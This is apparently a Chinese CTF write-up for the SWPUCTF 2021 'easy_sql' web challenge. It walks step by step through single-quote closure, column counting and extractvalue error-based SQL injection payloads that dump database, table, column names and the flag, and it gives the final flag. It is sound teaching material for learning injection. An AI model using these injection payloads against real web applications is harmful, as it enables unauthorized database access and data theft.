[SWPUCTF 2021 新生赛]easy_sql

发布时间 2023-07-24 20:34:38作者: y0Zero

[SWPUCTF 2021 新生赛]easy_sql

题目来源:nssctf

题目类型:web

涉及考点:报错注入

1. 题目给了一个杰哥页面,要求随便传点数据

看到页面标题提示参数为wllm,那么先传入/?wllm=1试试:

2. 接下来我们尝试union注入

有关SQL注入知识点详见:SQL注入

  • 先判断闭合方式:
/?wllm=1'

回显如下:

则可以判断闭合方式为单引号闭合

  • 判断字段数
/?wllm=1' group by 3--+

此处不做截图,尝试到4的时候报错,故字段数为3

  • 判断回显位
/?wllm=1' union select 1,2,3--+

发现没有回显位,此时转变思路尝试报错注入

3. extractvalue报错注入

  • 我们已经知道字段数了,直接爆库名:
/?wllm=1' union select 1,extractvalue(1,concat('~',(select database()))),3--+

得到库名:test_db

  • 爆表名:
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3--+

我们直接尝试查看test_tb内的字段名

  • 爆字段名:
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3--+

看到flag了

  • 最后查看表内数据:
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))--+

因为extractvalue()函数只能返回32个字符,因此我们使用substring()函数解决这个问题:

例如substring("abc",1,1),此语句表示从第一个字符读取一个字符返回

在上面的payload中,我们得到的数据中,从第一个字符起读取30个字符返回

得到一半的flag,再获取后一半:

/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))--+

注意,这里的id不是2,仍然是1,因为 ~ 前没有数据,所以 ~ 之后的内容全都是flag后一半(不要加上单引号了)

拼接后得到flag:

NSSCTF{2e90636b-38b0-44be-a8557-b92ac1f5e8b5}

日期:2023.7.24

作者:y0Zero